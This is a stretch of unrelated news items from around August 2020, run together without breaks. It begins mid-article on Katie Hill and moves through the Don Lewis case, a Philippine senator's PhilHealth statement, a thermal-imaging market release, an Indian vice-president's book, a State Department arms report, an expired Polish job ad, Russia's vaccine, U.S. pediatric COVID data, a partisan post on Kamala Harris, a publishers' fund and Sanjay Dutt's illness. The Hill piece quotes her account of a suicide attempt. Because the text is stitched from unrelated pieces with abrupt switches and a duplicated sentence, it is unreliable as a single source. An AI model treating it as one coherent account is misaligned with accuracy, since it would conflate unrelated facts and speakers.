It means you cant really course-correct. Theres less of a willingness to listen to advisers. Katie Hill speaks in Los Angeles in 2018. (Faye Sadou/MediaPunch /IPX via AP) Women in the United States have also sometimes been more successful in managing the pandemic than their male counterparts. Black women mayors in Washington, D.C. (Muriel Bowser), Atlanta (Keisha Lance-Bottoms) and San Francisco (London Breed) have managed to keep their cities from experiencing full-scale outbreaks of COVID-19. Female governors in Oregon (Kate Brown) and Michigan (Gretchen Whitmer) have done the same. Meanwhile, blustery male leaders from both parties have committed the very errors Hill has described, refusing advice and showing little capacity for change. That is as true for the progressive mayor of New York City, Bill de Blasio, as it is for the Republican governor of Florida, Ron DeSantis. Story continues Of course, the same can be said of female leaders like Kristi Noem, the Republican governor of South Dakota, a Trump ally who has denounced orders mandating masks and has also, like the president, touted the malaria drug hydroxychloroquine as a potential coronavirus treatment. Just how much gender has to do with all this remains a matter of debate. Writing in the Atlantic, the journalist and feminist historian Helen Lewis cautioned against reading too much into the success of female leaders like Ardern and Germanys Chancellor Angela Merkel, arguing that it is not that women leaders are doing better. Its just that strongmen are doing worse. The counterargument is that strongmen tend to be, as the name suggests, men. In her book, Hill goes so far as to say that men need to step aside in order to improve electoral prospects for women. So for all the men reading this ... if and when you consider running for office, she writes, I know its going to be hard for your ego, but maybe look around first and see if theres a woman you could support instead. Havent you guys had a long enough turn? Rep. Katie Hill, D-Calif., at the U.S. Capitol after her final speech on the floor of the House in October last year. (Win McNamee/Getty Images) In conversation with Yahoo News, Hill justifies that position by pointing out that women hold only 23.7 percent of all congressional seats, even though they make up 50.8 percent of the American population, according to the most recent statistics from the U.S. Census Bureau. That means they have half the congressional representation they might have. We make up half the population, so we should make up half. If we dont get to parity, then our issues are not going to be prioritized, Hill told Yahoo News a couple of days before her book was published. The pronoun in the title of her book has two meanings. The she who will rise refers to any woman seeking political office, or the broader elevation of women at all levels of government. But she also refers to Hill herself, who stepped down from her congressional seat in late 2019, after sexually explicit photographs surfaced of her with a female staffer, with whom Hill and her husband, Kenny Heslep, were allegedly engaged in a romantic relationship. Hill is now trying to divorce her husband, whom she describes as abusive. She believes that he gave the compromising photographs to conservative media outlets. From there, the affair was quickly taken up by the mainstream press. At the time, she was representing Californias 25th Congressional District, which includes a swath of suburban northern Los Angeles. She had wrested it from longtime Republican control, becoming one of several Democrats to turn the suburbs of Southern California blue in the 2018 midterms. Naturally enough, the GOP wants those seats back, and will do what it can to reclaim them. Even so, Hill maintains that there is a vast difference between the kind of opposition research political campaigns deploy against the competition and the scandal in which she became embroiled. When male politicians are being attacked, You just dont see that kind of targeting in the same way, Hill told Yahoo News. The effort to demean was something that I think was different. One conservative commentator, for example, called her a self-adoring slut. Everyone involved in the affair was an adult, and a seemingly consenting one at that, so that while the pictures may have been lurid, racy, icky a great many adjectives have been deployed they alone posed no threat to Hills political future. She does, after all, represent Los Angeles, and although her district is relatively conservative, Angelenos tend to be forgiving of personal indiscretions. No, the fact that one of those pictures appeared to show Hill with the tattoo of a Nazi military symbol did not exactly help her chances of survival. Rather, it was the involvement of a congressional staffer that spurred an investigation. With that came the recognition that the results of that investigation were likely to prove damning. At the time, it absolutely felt like the right decision, Hill says of her resignation. On the House floor, she delivered a fiery speech in which she said she did not want to complicate Democrats efforts to impeach President Trump, which were then ramping up and would consume the next several months. I am leaving now because of a double standard. I am leaving because I no longer want to be used as a bargaining chip," she said. But then she was all alone, watching as her fellow first-term progressives took on Trump in congressional impeachment proceedings. At one point, she considered suicide. I stared at the veins in my wrists, she writes in her new book, which deftly transitions between the personal and political. They were so thin. They were green in the candlelight. I started tracing them with the edge of the knife, lightly at first, then pushing harder and harder. The knife was duller than I thought. She has been climbing back ever since. In February 2020, right before the coronavirus pandemic landed stateside, Hill announced the formation of Her Time, a political action committee that seeks to help female candidates win elected office. Then, in quarantine, she began writing She Will Rise, while also emerging as a fiery anti-Trump voice on Twitter. The voice on Twitter is not all that different from the voice in the book, by turns intimate and argumentative, excoriating Republicans while telling her own story. Although she does not rule out a political comeback, Hill says that she is now focused on the prospects of other women, not her own. The coronavirus pandemic seems to prove her point, in ways neither she nor anyone else could have possibly expected. New Zealands Ardern who had already been praised for her response to a mass shooting last year has become something of an international star, appearing on Stephen Colberts late-night show. Her cool response to an earthquake during a live television broadcast went viral, seeming to give the lie to every stereotype of what female leadership looks like. The new committee echoes the efforts of Sen. Kirsten Gillibrand, D-N.Y., who has made womens issues a centerpiece of her congressional career, as well as of her recent presidential run. Gillibrands own political committee, Off the Sidelines, has been working to elect women since 2011. Hill doesnt just want women off the sidelines, she wants men to trot off the field. We should be grateful for and encourage our male allies, she writes. We absolutely need them, and we should be recruiting them to our sides at every opportunity. But as far as I am concerned, to successfully prioritize and win these battles, we need our leaders to be women. _____ Read more from Yahoo News: The family of Carole Baskins missing husband Don Lewis raised money for anyone with information regarding his whereabouts. The story resurfaced in the seven-part docuseries Tiger King: Murder, Mayhem, and Madness, bringing new light to the cold case. Tiger King re-launched Don Lewiss cold case Carole Baskin | Netflix RELATED: Tiger King: Could New Evidence in Carole Baskins Missing Husband Case Be Enough for Her Arrest? One big question that remains long after the rise and fall of Tiger King is, what happened to Don Lewis? The millionaire husband of Big Cat Rescue co-owner Carol Baskin was last seen on Aug. 18, 1997 the day before a scheduled trip to Costa Rica. Lewis was declared legally dead in 2002, but Hillsborough County Sheriff Chad Chronister is re-evaluating facts surrounding the case and does believe foul play was involved. Fans of Tiger King were quick to circulate memes suggesting Baskins involvement in Lewiss disappearance, including theories that Lewis was fed to the couples rescue tigers. Chronister said there hasnt been sufficient evidence to name suspects including Baskin thus far. Lewiss family to offer a hefty reward for information Attorney John Phillips speaks for the Lewis family | O. Jones/Getty Images RELATED: Tiger King: Carole Baskins Missing Husband May Have Been Strangled, Thrown out of a Plane, According to His Attorney The family of Lewis raised $100,000 through a GoFundMe page to offer anyone with tips that might locate Lewis. The reward is featured on four billboards around Tampa near Baskins Big Cat Rescue, which she co-founded with Lewis. Lewiss daughters, Donna Pettis, Lynda Sanchez, and Gale Rathbone as well as Lewiss first wife Gladys Cross held a news conference on Aug. 10 to discuss plans moving forward, which include a lawsuit. The suit goes against a woman on Lewiss will, Susan A. Bradshaw, as well as Tiger King handyman Kenny Farr and Baskin. Generally you announce a $150 million lawsuit and how were going to get justice, Lewis family lawyer John Phillips said. And we are going to do all of that, in time. But our office wants to invite reason, to invite civil conversation where it can be had. The Jacksonville-based attorney filed a rare pure bill of discovery which demands that the defendants turn over information they might have about the Lewis case for possible use in later lawsuits, Tampa Bay Times explained. The move will help Phillips determine who to sue in the future. He invited Baskin to come forward with any information she may have regarding Lewiss disappearance. Im a lawyer. I sue people, he said on the chance Baskin declines. Well go that route too. Make no mistake, if the familys offer for civility is rejected, if the insults continue, the next step is to bring justice, because justice is love. Phillips is launching an independent investigation Attorney John Phillips | O. Jones/Getty Images RELATED: Tiger King: Carole Baskin Reveals Why She Never Took a Polygraph for Missing Husbands Case Things are in motion to get to the bottom of the case. Still, Phillips understands the challenges namely the credibility of a witnesss memory decades later. Resolving this case is in everyones best interest. Its in Carole Baskins best interest. If she cares about Don Lewis, and I want to believe you cant be married to somebody without caring about them. Ive seen that happen, Phillips said. I invite her to talk and let us know what really happened. More than invite her, were going to serve her with a lawsuit, he said. It also allows subpoenas and depositions, request for production and interrogatories. Things that a court can decide what happened and what lawsuits or lawsuit, and who should be sued should come. While Phillips looks into new leads and tips, criminal defense attorney Kaitlyn Statile offered services pro bono for those who come forward. We will aggressively defend you, Statile said. Meanwhile, Chronister mentioned possible immunity for witnesses. Lewiss family only wants closure. For 23 years Ive gone to bed every night knowing that the only chance of seeing him again is in my dream, Lewiss daughter Rathbone said. For 23 years Ive woken every morning to the heartbreak of his strange disappearance. But hopefully with all this help that we now have one day soon we and you, too will know the truth and will all finally know happened to my dad. Anyone with information regarding Don Lewis can call the tip line at 646-450-6530. Press Release August 11, 2020 Hontiveros on PhilHealth investigation: Nasaan si Duque? Senator Risa Hontiveros during the probe today on corruption allegations against state-insurer Philippine Health Insurance Corporation (PhilHealth) urged the committee to invite Health Secretary Francisco Duque III for questioning. The senator questioned why Duque, who has been present on the board of PhilHealth for almost 20 years, has not been included in the investigation. "Why is the Health Secretary unscathed in all this? Isa si Secretary Duque sa mga dapat magpaliwanag ng maigi ukol sa mga alegasyon ng korapsyon sa PhilHealth. In fact, he has been connected with PhilHealth in various capacities since 2001. Now on his second term as Chairperson of the Board of PhilHealth, he cannot deny responsibility for all irregularities inside such a vital health institution," Hontiveros said. Sec. Duque served as President of the corporation from 2001 to 2005, and subsequently as the Chairman of the Board again from 2005 to 2009, Hontiveros noted. During Duque's previous stints at the agency, a University of the Philippines-National Institutes of Health (UP-NIH) report raised concerns about PhilHealth's 'excesses' in administrative expenses that went beyond the legally allowable limit for years of 2004, 2008 and 2009, based on audited reports from the Commission on Audit (COA). Duque was also the PhilHealth President in 2004 when a P500 million fund from the Overseas Workers Welfare Administration (OWWA) was allegedly used illegally to purchase PhilHealth cards bearing then President Gloria Macapagal Arroyo's campaign slogan, Hontiveros said, citing allegations raised by Senator Panfilo Lacson. "If we want to clean up PhilHealth, we must go way back to 2001, when Secretary Duque was the PhilHealth President," she said. "With his long history in the institution, Duque cannot feign ignorance of this systemic corruption." "If we want structural change, alugin natin. Expose the sacred cows. Expose the conflicts. Most of all, expose the backers," she said. "I am sick and tired of the fact that while people are dying from COVID and we have become the literal sick man of Asia, may mga patuloy na yumayaman at patuloy na di nananagot. Kung totoong bilyones and nawala, siguradong may protector ang mga 'yan. Aalamin natin kung sino ang mga bumulsa at siguraduhin mabalik sa taumbayan ang pera nila," Hontiveros concluded. - The increase in global military spending and rising terrorist activity is driving the market demand - Market Size - USD 3.21 billion in 2019, Market Growth - CAGR of 6.0%, Market Trends -High demand from the APAC region NEW YORK, Aug. 11, 2020 /PRNewswire/ -- The Global Thermal Imaging Market is forecast to reach USD 4.99 Billion by 2027, according to a new report by Reports and Data. The growth of thermal imaging in various end-use industries is driving market demand. An increase in terrorist activities has impacted government and non-government revenue to a great extent. Increasing terrorism, instability, geopolitical tension, and cross border terrorism is driving market demand. The investment in the defense system for the modernization of military equipment is also encouraging the growth of the market. Thermal imaging helps armed forces to protect borders during nightfall and extreme weather. The growth of the market also depends on the advancement of medical technologies. Several growth opportunities and adoption of the latest advanced technologies in the sector is providing ample growth opportunity for the market. Several areas, such as digital research and construction management, involve the usage of thermal imaging technologies. It is crucial for construction planners to study energy losses, moisture inspections, and building envelope inspection. Request free sample of this research report at: https://www.reportsanddata.com/sample-enquiry-form/3404 High level of investment in construction development coupled with the growing demand for professional surveillance and the rising need for security applications in public and private sectors are propelling the market demand. However, restrictions in export and additional details required for longwave infrared cameras are hampering the market demand. COVID-19 Impact Analysis: The pandemic has propelled the demand for the market from the transportation and healthcare sectors. Various market players of developing nations are integrating artificial intelligence to enhance their protection level. Government all across the globe are implementing stringent regulations to locate high-risk zones, or those asked to be in-home quarantine. Smartphone apps integrated with geotagging features have been launched by several governments to ensure physical distancing. The market will witness an increased demand as there more advanced technologies are being adopted. To identify the key trends in the industry, click on the link below: https://www.reportsanddata.com/report-detail/thermal-imaging-market Further key findings from the report suggest Thermal cameras allow people to see invisible heat radiation emitted by any objects irrespective of lighting conditions. Some of the benefits of thermal imaging are protection for major businesses across the country and to protect against intruders. The segment for monitoring and detection is expected to dominate the market share and is accredited to the rising adoption of thermal cameras in residential, industrial, and commercial sectors. The thermal cameras are used in several historical monuments, buildings, and industrial equipment. Moreover, these cameras are in major demand for maintaining the structural health of buildings. The aerospace and defense sector held a significant share in the industry. The demand is due to the ability of the product to work in all weather conditions irrespective of the time. They are used in surveillance of the border, in ship collision avoidance, law enforcement, and structural health monitoring of aircraft. They also help soldiers locate and identify their enemies. The Asia Pacific market is growing due to the rise in the adoption of the automotive sector and the increase in population. The surge in population is creating a need for high-quality and enhanced transportation in the region. Automotive manufacturers are improving designs and integrating advanced technology such as Light Detection and Ranging (LiDAR) for better driving assistance. market is growing due to the rise in the adoption of the automotive sector and the increase in population. The surge in population is creating a need for high-quality and enhanced transportation in the region. Automotive manufacturers are improving designs and integrating advanced technology such as Light Detection and Ranging (LiDAR) for better driving assistance. Key participants include Fluke Corporation, United Technologies, FLIR Systems, Inc., Leonardo S.p.A, Axis Communications AB, L3HARRIS Technologies, Inc., Axis Communications AB, Opgal, Xenics, and BAE Systems, among others. Order Now: https://www.reportsanddata.com/checkout-form/3404 For the purpose of this report, Reports and Data has segmented the Global Thermal Imaging Market on the basis of product type, application, industry vertical, and region: Product Type Outlook (Revenue, USD Billion; 2017-2027) Thermal Cameras Thermal Scopes Thermal Modules Application Outlook (Revenue, USD Billion; 2017-2027) Security and Surveillance Unmanned Aerial Vehicle (UAV) Perimeter Security Tracking Monitoring and Inspection Structural Health Monitoring HVAC System Inspection Machine Condition Monitoring Quality Assessment Detection and Measurement Fire/Flare Detection Level Measurement Gas Detection Body Temperature Measurement Prototype Assessment Industry Vertical Outlook (Revenue, USD Billion; 2017-2027) Residential Commercial Industrial Automotive Aerospace and Defense Oil and Gas Healthcare and Life science Food and Beverage Regional Outlook (Revenue, USD Billion; 2017-2027) North America U.S. Canada Europe Germany U.K. France Benelux Rest of Europe Asia Pacific China Japan South Korea Rest of APAC Latin America Brazil Rest of LATAM MEA Saudi Arabia UAE Rest of MEA Browse more similar reports on Information and Communication Technology category by Reports And Data Network Encryption Market: https://www.reportsanddata.com/report-detail/network-encryption-market https://www.reportsanddata.com/report-detail/network-encryption-market Service Virtualization Market: https://www.reportsanddata.com/report-detail/service-virtualization-market https://www.reportsanddata.com/report-detail/service-virtualization-market Predictive Maintenance Market: https://www.reportsanddata.com/report-detail/predictive-maintenance-market About Reports and Data Reports and Data is a market research and consulting company that provides syndicated research reports, customized research reports, and consulting services. Our solutions purely focus on your purpose to locate, target and analyze consumer behavior shifts across demographics, across industries and help client's make a smarter business decision. We offer market intelligence studies ensuring relevant and fact-based research across a multiple industries including Healthcare, Technology, Chemicals, Power and Energy. We consistently update our research offerings to ensure our clients are aware about the latest trends existent in the market. Reports and Data has a strong base of experienced analysts from varied areas of expertise. Contact Us: John W Head of Business Development Reports And Data | Web: www.reportsanddata.com Direct Line: +1-212-710-1370 E-mail: sales@reportsanddata.com LinkedIn | Twitter | Blogs Logo: https://mma.prnewswire.com/media/1009077/Reports_And_Data_Logo.jpg A book chronicling the third year in office of Vice President M Venkaiah Naidu titled Connecting, Communicating, Changing was released by Defence Minister Rajnath Singh at Upa-Rashtrapati Nivas in Delhi on Tuesday. The book which runs into more than 250 pages has been brought out by the Publications Division of the Ministry of Information and Broadcasting. It captures through words and pictures the variegated activities of the Vice President, including his travels in India and abroad. The book also provides a glimpse of his interactions with farmers, scientists, doctors, youth, administrators, industry leaders and artists, among others. He said that the main objective of connecting and communicating with these targeted groups was to share with them his experiences, concerns, his world view and the way forward for building a new India besides knowing their perspectives. Since March this year, the Mission Connect acquired a different dimension. He added that with no travel and physical meetings, the only way to keep connected was through the medium of technology. He added that before COVID-19 pandemic, he had about 20 public engagements per month. he spoke at over 70 public events since August 2019 and addressed 14 convocations. My target groups have been; the farmers who are my first love, the youth including the students who are the future of the nation, the scientists, the administrators the captains of industry and the Indian diaspora while on foreign visits. Also read: Pilot responds to Gehlots nikamma comment, says right to raise work-related concerns Also read: Pranab Mukherjee, Covid-19 positive, critical and on ventilator support post surgery He said that as the scale of COVID infections kept growing and the myths and misinformation finding wider currency, he was keen to share verified and authenticated information regarding the virus, its spread, the disease, the precautions to be taken both to prevent it and overcome it. He was keen to make the people not panic and instead, make only a few changes in daily habits. Social media came handy in this regard. The Vice President said that as they are close to celebrating the 75 years of the independence of their nation in 2022, all of us need to remind ourselves of the inspiring ideals of the freedom struggle espoused by Mahatma Gandhi and other leaders. As I complete my third eventful year in office today, I eagerly look forward to returning of normalcy so that I can restart my favourite activity of interacting and mingling with people. Notably, the book also covers events relating to the Vice Presidents foreign visits, his interactions with the world leaders and his addresses to the Indian diaspora in different countries. Also read: PM Modi to CMs: If Covid-19 is defeated in 10 worst-affected states, country will win On Monday night, anticipating the report, Representative Eliot L. Engel, Democrat of New York and chairman of the House Foreign Affairs Committee, said in a statement, We will review the entire product with an eye toward ensuring that the classified annex hasnt been used to bury important or possibly incriminating information. He wrote in a letter to other lawmakers on Tuesday that the State Department may have inappropriately redacted certain sections of the classified annex sent to Congress. The State Department tried to obfuscate the reports findings on Monday, the day before its release, by putting out a statement that focused on three short phrases in one page of the report that said Mr. Pompeo had taken the proper technical steps in issuing his emergency certification an exoneration of his action, in the agencys telling. The statement from the agency spokeswoman, Morgan Ortagus, made no mention of the harsh criticism of the department over civilian casualties, which appears in the line at the top of the report right after the one on the certification. Nor did it say that the reports single recommendation was on this issue. A State Department official also gave journalists an anonymous briefing to try to shape news coverage ahead of the reports release, and the journalists pointed out the absurdity of hearing lines about a report they had not seen. In a blistering statement, Mr. Engel identified the official as Mr. Cooper and said the departments effort was pre-spin that reeks of an attempt to distract and mislead. Mike Pompeo is pulling directly from the Bill Barr playbook, Mr. Engel said, referring to Attorney General William P. Barrs attempts last year to favorably characterize the report of Robert S. Mueller III, the special counsel investigating 2016 election interference by Russia, shortly before a redacted version of it was released. An unredacted version of the unclassified section of the State Department report obtained by The New York Times lays out two timelines that call into question whether an emergency on Iran existed. In the first, investigators found that State Department officials first discussed on April 3 the use of an emergency declaration to bypass the congressional holds. That was a month before the White House began issuing statements about troubling signals around Iranian activity in the region. And Mr. Pompeo did not issue his emergency certification to Congress until May 24. The second timeline involves the slow schedule of the arms transfers. The investigators found that only four of the 22 packages had been delivered by the time of their inquiry last year. They were told that five would not be delivered until 2020 or later. Przepraszamy! Ogoszenie na stanowisku: Senior Analyst / Analyst in Market Risk Control wygaso z dniem 2020-08-23 Ta propozycja bya zozona przez Nordea Bank Abp SA Oddzia w Polsce Mozliwe przyczyny wygasniecia ogoszenia to: propozycja zamieszczona przez pracodawce zostaa wycofana z serwisu praca.egospodarka.pl firma zakonczya proces rekrutacji uzyskujac odpowiednia ilosc CV zleceniodawca zmodyfikowa tresc zlecenia i jest ono dostepne pod innym adresem url dostawca tresci usuna ogoszenie z bazy danych nieprawidowy adres WWW ogoszenia Jezeli poszukujesz pracy w branzy Bankowosc / Leasing, zajrzyj tutaj: Praca Bankowosc / Leasing Jezeli poszukujesz pracy na stanowisku Senior Analyst / Analyst in Market Risk Control, zajrzyj tutaj: Praca Senior Analyst / Analyst in Market Risk Control Jezeli poszukujesz pracy w miescie: Warszawa, zajrzyj tutaj: Praca Warszawa Pamietaj, ze mozesz takze rozpoczac poszukiwanie pracy od strony gownej, kliknij tutaj. Inne propozycje, ktore mogy byc w kregu Twoich zainteresowan: Dr. Scott Gottlieb is wary of the safety and effectiveness of a new coronavirus vaccine touted by Russian President Vladimir Putin as the world's first drug approved to prevent Covid-19. "I wouldn't take it, certainly not outside a clinical trial right now" where patients are closely monitored, Gottlieb said on "Squawk Box" on Tuesday. "They're claiming that it's fully approved, but it's not fully approved." Russia plans to begin its first large-scale, phase three trials of its vaccine Wednesday, even though health officials have already cleared it for public distribution. Putin said one of his daughters has been inoculated with the vaccine. However, no data has been published on Russia's trials thus far, contributing to the international skepticism of Putin's announcement earlier Tuesday. Researchers have yet to publish any data on the vaccine trials thus far, including information on the safety, efficacy or possible long-term side effects. Gottlieb, who is the former U.S. Food and Drug Administration commissioner, said that wouldn't fly with American regulators. "We certainly wouldn't allow a vaccine to be used for mass distribution at this point based on the data we have at hand," he said. "We just don't know if the vaccines are safe and effective at this point." He said Russia has cleared its vaccine based on what would be the equivalent of an early stage clinical trial, completing testing on 100 to as many as 300 patients. Covid-19 vaccines in the U.S., by comparison, are being tested on tens of thousands of patients before the FDA will approve any for mass distribution. "Our vaccines here in the U.S. are in phase three clinical trials. They're getting dosed in thousands of patients as we speak. They've cleared phase one, phase two study, so they've been tested in a hundred and in some cases a couple hundred of patients. That's about where Russia is right now," said Gottlieb, who sits on the board of pharmaceutical company Pfizer, which started a phase three trial on its own coronavirus vaccine with German biotech company BioNTech on July 27. U.S. Health and Human Services Secretary Alex Azar also said two of the six leading Covid-19 vaccines in the U.S. are in phase three clinical trials, which are important for testing how safe and effective a vaccine is in before it's widely injected into humans. Public health officials have said a vaccine could be ready in the U.S. at the end of the year or early 2021, though there is no guarantee that the ones being tested will work. The late-stage human trial can take weeks to enroll thousands of participants. "Well, the point is not to be first with a vaccine, the point is to have a vaccine that is safe and effective for the American people and the people of the world," Azar said in an interview on ABC's "Good Morning America" earlier Tuesday. "We need transparent data and it's got to be phase three data that shows that a vaccine is safe and effective." The vaccines are being developed as part of the Trump administration's Operation Warp Speed, an effort to accelerate the development, manufacturing and distribution of vaccines and treatments to fight the coronavirus. Azar said the operation is on track to produce "tens of millions of doses by December of FDA-gold-standard vaccine and hundreds of millions of doses as we go into the new year." While the U.S. has the most reported Covid-19 cases globally, surpassing 5 million cases on Sunday, Russia has confirmed more than 895,600 cases, the fourth most of any country, according to data compiled by Johns Hopkins University. At least 15,100 people have died in Russia, according to Hopkins' data, although some political analysts question whether the country is underreporting its Covid-19 deaths. Kremlin spokesman Dmitry Peskov has said the country isn't concealing its coronavirus deaths. Gottlieb, who served under U.S. President Donald Trump, raised the prospect that Russia's announcement could pressure U.S. regulators to act hastily. He also referenced reports last month from security officials in the U.S., U.K. and Canada, who accused Russian intelligence-linked hackers of targeting vaccine research in those countries. CNBC's Berkeley Lovelace Jr. contributed to this report. Disclosure: Scott Gottlieb is a CNBC contributor and a member of the boards of Pfizer, genetic-testing start-up Tempus and biotech company Illumina. Close to 100,000 in the U.S. tested positive for coronavirus in the last two weeks of July, according to a recent analysis. The American Academy of Pediatrics and the Childrens Hospital Association found a 40% increase in COVID-19 cases in children from July 16-30. Children accounted for 97,078 new cases during that time frame. Overall, the U.S. has reported 338,982 pediatric cases- or roughly 9% of all the countrys cases - since March. Children accounted for between 0.6%-3.7% of hospitalizations and 0-0.8% of all COVID-19 deaths. As of July 30, Alabama had 18,027 cases in children, accounting for roughly 22% of all cases. One important note on the study: The definition of child varied from states to state. Some states report ages 0-14, 0-17, 0-18, 0-19, 0-20, or 0-24. Alabamas data included individuals up to age 24 as children. You can see full report here. Here are more coronavirus headlines: New US cases dropped under 50,000 on Sunday The number of new COVID-19 cases in the U.S. dropped below 50,000 on Sunday. The country added 47,000 new cases on Sunday, the first single-day tally under 50,000 since Aug. 3. There have been 5.05 million coronavirus cases and 163,000 deaths in the U.S., according to John Hopkins data. Almost 600 deaths were reported nationwide Sunday, a drop from three previous consecutive days where COVID deaths topped 1,200. D.C. adds 5 states to its quarantine list Washington, D.C. had added 5 more states to its quarantine list. People traveling to the city from Alaska, Illinois, Indiana, Kentucky and Minnesota will required to self-quarantine for 14 days. Alabama, Alaska, Arizona, Arkansas, California, Florida, Georgia, Idaho, Illinois, Indiana, Iowa, Kansas, Kentucky, Louisiana, Minnesota, Mississippi, Missouri, Montana, Nebraska, Nevada, New Mexico, North Carolina, North Dakota, Oklahoma, South Carolina, Tennessee, Texas, Utah, and Wisconsin were already on the list. Washington, D.C. removed Delaware, Ohio and Washington state from its list. States on the quarantine list were those with seven-day moving averages of daily new coronavirus cases of 10 or more per 100,000 people. TSA screenings finding more guns The Transportation Security Administration said air travel has dropped significantly during the coronavirus pandemic but its discovery of firearms has grown. TSA said the rate of guns found per passengers screened at airport security checkpoints last month was up three times over last years figure. TSA has discovered more than 300 guns in carry-on bags in July, roughly 15.3 guns per million people screened. Thats up from 5.1 guns per million people in July 2019, even as air traffic plunged 75%. TSA said 80% of firearms found in carry-on bags at checkpoints were loaded. News breaking right now that Biden has chosen Kamala Harris as his running mate. She seems a poor choice even aside from her ideological defects. She ran a terrible campaign, dropping out before the Iowa caucuses having blown through all of her abundant early money and squandering some early strength in the polls, chiefly because she never settled on a campaign message, and performed poorly from day to day, walking back (clarifying) plainly ill-thought comments within 24 hours. But I think Biden chose her for the same reason John McCain chose Sarah Palin in 2008: to close the enthusiasm gap between him and Trump. Surveys consistently show that Democratic voters are distinctly unenthusiastic about Biden, and the progressive left is critical of many of Bidens positions. But the progressive left Democratic base mostly loves Harris (except for that prosecuting criminals part of her past). If events (chiefly the economy and the virus) start to break more in Trumps favor over the next six weeks, you could see the race tighten, and the enthusiasm gap becoming an important factor. The enthusiasm gap is important, and this election cycle is reminding me more and more of 1976, when an incumbent president (Ford) with heavy baggage was running way behind (by as much as 25 points in August) the Democratic challenger Jimmy Carter, but managed to close the gap and make a razor-close race of it in the end. Like Biden today, Democrats were not especially enthusiastic about Carter, who they nonetheless gathered around in the nomination contest to stop George Wallace, who, we forget today, was a formidable force for the Democrats in 1976, despite being in a wheelchair. Likewise, a lot of Democrats circled the wagons for Biden in March out of their fear of Bernie Sanders, who was threatening to run away with the race for a two-week period in late February. Fred Siegel wrote about this 1976 dynamic in his terrific 1984 book Troubled Journey: At a time when many pros feared Wallace would be able to broker the 1976 Democratic convention by coming in with 30 or 40 percent of the delegates, Carter offered himself to Northern liberals as a stopper. Wallace votes, he told a New York audience, cannot be transferred to a more liberal candidate. Meanwhile he was presenting himself to Southerners as a man who could carry on the Wallace legacy of standing up for Dixie by cutting down the federal government. History may not repeat itself or rhyme, as the apocryphal Mark Twain remarks holds, but some patterns in American history can be instructive. The media has already fallen into line and running interference. The New York Times is calling Harris a pragmatic moderate. Meanwhile, I expect theres going to be a lot of talk about Kamalas previous running mate. JOHN adds: I just did a bit on the Howie Carr show, and Howie closed by noting that in his upcoming column he is going to write that Harris got her start working under Willie Brown. Happy days are here again! PAUL adds: I hope the mainstream media will check in with Harris father and that he wont back away from his past comments about her. Or is talking to a female VP candidates father out of bounds? ONE MORE THING: This will be fun, too UPDATE: This didnt take long. JOHN adds: Wow, that is a dynamite ad. Once more down memory lane: 11.08.2020 LISTEN The International Publishers Association (IPA) has received a huge response to its call for proposals to tackle Africas remote education challenges, which have been dramatically exacerbated by the global Covid-19 pandemic. In total, 311 pitches were received from 26 countries, from Algeria in the north to South Africa in the south, Guinea Bissau in the west, and Ethiopia in the east. Applicants range from development and education NGOs to universities and tech companies. This represents a more than 1000% increase in submissions compared to the APIFs first year in operation, in 2019. The call has now closed after two months during which the IPA received a daily cascade of submissions through a portal on the APIF website, www.apinnovation.fund, and no new bids will be considered. Now begins the task of vetting the submissions, which falls to the body that oversees the fund, the APIF Committee, comprising publishing executives from Ghana, Kenya, Nigeria, Tunisia, and South Africa, under the leadership of IPA Vice-President, Bodour Al Qasimi. They will put the best ideas through to a second round, where the applicants will be required to fill out a detailed application form and budget forecast. Then in autumn, the APIF Committee will whittle down the applications and ultimately decide which projects to support, and the size of their grants. IPA Vice-President, Bodour Al Qasimi said: The response this year has been far beyond anyones expectations, thanks partly to a streamlined online application process and communications push. But the level of interest and the range of ideas coming in is further proof that Africa is bursting with entrepreneurial spirit and innovative ideas. With the APIFs support some of these ideas will become reality and have a lasting positive impact on education where it is needed. The APIF is a four-year, USD 800,000 fund provided by Dubai Cares , a UAE-based global philanthropic organization, and administered by the IPA. The decision to incentivize learning innovations to help African students pursue their education followed the confinement measures imposed worldwide in response to the Covid-19 pandemic. Around 190 countries have had to close schools and universities, affecting more than 1.5 billion school-aged children - around 90% of the worlds student population. To see some of the work already underway with support from the Africa Publishing Innovation Fund, visit www.apinnovation.fund and browse the Projects and Libraries tabs. About the International Publishers Association The IPA is the worlds largest federation of publishers associations with 83 members in 69 countries. Established in 1896, the IPA is an industry body with a human rights mandate. The IPAs mission is to promote and protect publishing and to raise awareness of publishing as a force for economic, cultural and social development. Working in cooperation with the World Intellectual Property Organization (WIPO) and numerous international NGOs, the IPA champions the interests of book and journal publishing at national and supranational level. Internationally, the IPA actively opposes censorship and promotes copyright, freedom to publish (including through the IPA Prix Voltaire), and literacy. www.internationalpublishers.org About Dubai Cares: Since its inception, Dubai Cares, part of Mohammed bin Rashid Al Maktoum Global Initiatives, has been working towards providing children and youth in developing countries with access to quality education through the design and funding of programs that aim to be integrated, impactful, sustainable and scalable. As a result, the UAE-based global philanthropic organization has successfully launched education programs reaching over 20 million beneficiaries in 59 developing countries. Dubai Cares is playing a key role in helping achieve the United Nations Sustainable Development Goal (SDG) 4, which aims to ensure inclusive and equitable quality education and promote lifelong learning opportunities for all by 2030, by supporting programs in early childhood development, access to quality primary and secondary education, technical and vocational education and training for youth, as well as a specific focus on education in emergencies and protracted crises. In the UAE, Dubai Cares engages residents through a series of volunteer, awareness, and fundraising initiatives that are linked to its global mandate. These initiatives include the annual Walk for Education, Volunteer Emirates, Volunteer Globally and Ramadan Campaign. Sanjay Dutt can be sent back to jail if rules were broken: Maha govt to HC Sanjay Dutt volunteered to be the face of anti- drug campaign: Uttarkhand CM KGF 2 teaser release date out, Yash looks dashing and intense in new poster, check out here Sanjay Dutt diagnosed with lung cancer: Reports India oi-Deepika S New Delhi, Aug 11: Bollywood actor Sanjay Dutt has been diagnosed with stage 3 lung cancer, say reports. Sanjay took to social media to share the message with his fans. "Hi friends, I am taking a short break from work for some medical treatment. My family and friends are with me and I urge my well wishers not to worry or unnecessarily speculate. With your love and good wishes, I will be back soon!" he wrote. He was discharged from the hospital, two days after he was admitted for breathlessness. The 61-year-old actor was taken to Lilavati Hospital on Saturday evening for full check-up, where he was also tested for COVID-19, which turned out to be negative. An official from Lilavati Hospital told PTI that Sanjay Dutt was discharged around 3 pm, Monday. He was later clicked outside his Bandra residence, where he waved to the waiting photographers and well-wishers. Coronavirus: Russia claims first Covid-19 vaccine 'Sputnik V', WHO wants to review | Oneindia News Sanjay Dutt hospitalised after complaining of breathlessness; tests negative for COVID-19 The actor is the eldest child of late Bollywood stars Nargis and Sunil Dutt. He has two sisters -- Priya Dutt and Namrata Dutt. He is married to Maanayata 